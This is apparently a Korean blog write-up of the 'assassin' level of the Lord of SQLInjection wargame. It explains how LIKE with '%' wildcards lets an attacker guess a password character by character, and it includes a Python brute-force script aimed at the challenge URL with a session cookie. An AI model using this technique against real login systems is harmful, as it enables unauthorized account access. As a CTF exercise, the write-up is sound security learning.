해당 문제의 입력 파라미터는 pw 뿐이며, '
를 필터링하고 있다.
또한 쿼리문을 보니, ''
안에 입력값이 들어가서 문제 해결에 어려움이 있을 것 같다.
결국 몇시간을 시도한 끝에 다른 사람의 문제풀이를 살펴보니 쿼리문에서 =
를 대신 LIKE
를 사용한 이유가 있었다.LIKE
에선 약간의 정규식을 사용할 수 있다.
특정 문자%
: 특정 문자로 시작%특정 문자
: 특정 문자로 끝남%특정 문자%
: 특정 문자을 포함
위를 이용하여 pw를 찾으면 된다.
import requests, string, itertools
url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
headers = {'Cookie': 'PHPSESSID=mm982osuke85at52o0625bnkud'}
def pwParser():
for s in string.ascii_lowercase + string.digits + string.punctuation:
parameter = f"?pw={s}%"
res = requests.get(url + parameter, headers=headers)
if 'Hello admin' in res.text:
print('parsing!!! >', s)
break
pwParser()
파이썬으로 돌려보니 걸리는 것이 없었다.
그래서 혹시 admin과 guest의 pw 값의 앞부분이 같아서 Hello guest로 떠서 그런거 아닌가 하여, 조건문을 Hello guest
로 변경하니 값이 나왔다.
이를 이용하여 admin의 pw를 구하려고 했지만, 파이썬으로 구현하는건 시간 소모가 크다고 생각하여 손으로 순수 값을 매칭시켰다.
몇 번 반복하니, admin의 pw 앞부분을 찾을 수 있었다.
'워게임 > Lord of SQLInjection' 카테고리의 다른 글
[Lord of SQLInjection] Zombie Assassin Write UP (0) | 2021.08.07 |
---|---|
[Lord of SQLInjection] Succubus Write UP (0) | 2021.07.24 |
[Lord of SQLInjection] Giant Write UP (0) | 2021.07.24 |
[Lord of SQLInjection] Bugbear Write UP (0) | 2021.07.20 |
[Lord of SQLInjection] Darkknight Write UP (0) | 2021.07.19 |